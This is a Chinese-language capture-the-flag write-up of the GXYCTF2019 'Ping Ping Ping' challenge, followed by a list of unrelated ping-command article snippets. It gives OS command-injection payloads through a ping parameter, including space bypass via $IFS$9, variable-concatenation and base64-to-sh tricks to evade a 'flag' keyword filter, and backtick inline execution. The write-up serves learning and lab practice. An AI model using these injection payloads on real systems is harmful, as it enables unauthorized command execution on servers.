打开题目,页面显示/?ip= 应该是一个传参的提示。

结合题目的ping。尝试?ip=127.0.0.1

果然是linux的命令执行,尝试执行其他命令

?ip=127.0.0.1 ;ls

成功执行

目标是flag.php ?ip=127.0.0.1 ;cat flag.php

提示/?ip= fxck your space!

判断目标网站是对空格进行了过滤,我们可以使用一些方法代替空格来起到分割作用

注:%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 都可以

但这里存在一些过滤{IPS}失效,多次尝试$IFS$9可以 (具体可以查看index.php文件中的过滤规则)

构造?ip=127.0.0.1;cat$IFS$1flag.php

提示 /?ip= fxck your flag!

应该是对flag字样进行了过滤

不妨来看看他进行了哪些过滤,构造?ip=127.0.0.1;cat$IFS$1index.php

<?php
if(isset($_GET['ip'])){$ip = $_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "<pre>";print_r($a);
}?>

不难看出对flag进行的正则匹配。因此诸如fl\ag之类的写法就行不通了。

几种解题思路

  1. 通过变量实现字符串拼接

构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php  即可获取flag

注:此处将变量ab的位置互换是为了绕过字符串匹配

2.通过执行sh命令来执行 (bash被过滤了,不然也可以执行)

构造/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash

3.内联执行 (真正的大佬操作,给跪了)

构造 /?ip=127.0.0.1;cat$IFS$9`ls`

注:内联,就是将反引号内命令的输出作为输入执行。

什么正则都是浮云,可能这就是大佬的世界把。

记 [GXYCTF2019]Ping Ping Ping 1相关推荐

  1. linux命令菜鸟ping,Linux ping命令

    Linux ping命令 Linux ping命令用于检测主机. 执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常. 语 ...

  2. 复制vmware overLay网络无法ping通 ping www.baidu.com可以

    因为忘记关闭防火墙了!!!!!    要永久关闭!! 修改hostname https://blog.csdn.net/qq_27327261/article/details/109100219 关闭 ...

  3. linux使用ping命令ping本机,Linux下使用ping命令判断网络的好坏

    简介 在Linux系统里面如果想判断网络的好坏,脑海中蹦出的第一个命令就是ping了. ping命令基本是最常用的网络命令,它可以用来测试与目标主机的连通性. ping通过发送ICMP ECHO_RE ...

  4. 虚拟机ping网关ping不通

    虚拟机ping网关ping不通,可能自己遇到的比较奇特,开始访问正常,过一段时间就不正常,分享一下解决办法: 首先ping同网段的可以ping的通,说明vmnet8的ipv4不和虚拟机配置的vmnet ...

  5. 全网超详细的如何Ping特定的端口号,比如telnet Ping,nc Ping,nmap Ping等

    文章目录 1. 文章引言 2. ping特定端口 2.1 使用telnet ping特定端口 2.2 使用nc ping特定端口 2.3 使用nmap ping端口 2.4 使用Powershell ...

  6. C# ping命令,ping网络状态

    Ping ping = new Ping(); PingReply pingReply = ping.Send("192.168.1.1"); //网络状态 if (pingRep ...

  7. 计算机想ping一下网络,请问下大家: 用 ping 命令ping /-n/-t/-l/-a/-f/-i/-v/-r/-s/-j/-k/-w/-1...

    ping命令参数详细解释 -a 将目标的机器标识转换为ip地址 -t 若使用者不人为中断会不断的ping下去 -n count 要求ping命令连续发送数据包,直到发出并接收到count个请求 -d ...

  8. linux ping ttl,ping 命令----根据TTL判断对方是什么操作系统

    根据TTL判断对方是什么操作系统 TTL(Time To Live,生存时间),是IP协议包中的一个值,指定数据包被路由器丢弃之前允许通过的网段数量,数据包每经过路由器转发一次都至少要把TTL减一,T ...

  9. 服务器ping你可以ping通,你ping服务器ping不同的解决方案!!

    这几天让公司的服务器弄的蛋疼啊!!三天两头的出问题,主管脸色不大好看,我这里也郁闷的要死.所以发誓一定要把好安全关!! 今天在自己的虚拟机上边装了一个winserver2003标准版,搭建好环境之后发 ...

最新文章

  1. 普渡大学李攀:好的图表示到底是什么?
  2. seaJs api 帮助文档
  3. 委托模型和事件模型 [C#]
  4. nodejs python jedi_Jenkins管道:选择nodejs版本(+ python版本)
  5. MyBatis之基于XML的动态SQL
  6. transform-origin用于设置变换原点
  7. 配置Android应用开发环境
  8. 【消费量预测】基于matlab碳排放约束下煤炭消费量预测【含Matlab源码 223期】
  9. 整人电脑BAT小程序源码大全
  10. 更改 Inno Setup 5、6卸载图标
  11. 【IOS账号分享】《NBA 2K20》
  12. 电阻式触摸屏和电容式触摸屏区别
  13. key mysql_调整MySQL中的key_reads
  14. 新一代最强开源UI自动化测试神器 Playwright - 元素定位
  15. 【修真院java小课堂】Spring中的IOC是什么意思,为什么要用IOC而不是New来创建实例?
  16. 动态渲染页面的爬取(项目案例:爬取今日头条热点新闻)
  17. steam审查元素免费得到几十款游戏教程
  18. CS106B Assignment #4:Boggle
  19. 查看并修改Linux主机名命令hostname
  20. (IROS 2022) 基于事件相机的单目视觉惯性里程计 / Event-based Monocular Visual Inertial Odometry

热门文章

  1. 查看 Linux 进程 巧用ps|grep命令
  2. < Linux > 进程间通信
  3. MySQL数据库锁机制之MyISAM引擎表锁和InnoDB行锁详解
  4. 深度:戴尔中国十年之变
  5. Buffer(缓冲区)
  6. HDU 6441 Find Integer 【费马大定理】
  7. 下载频道2013上半年超人气精华资源汇总---全都是免积分下载
  8. 小学生5年级计算机书,小学五年级作文:眼镜、电脑、书
  9. android recyclerview监听滑动状态
  10. adb控制手机屏幕滑动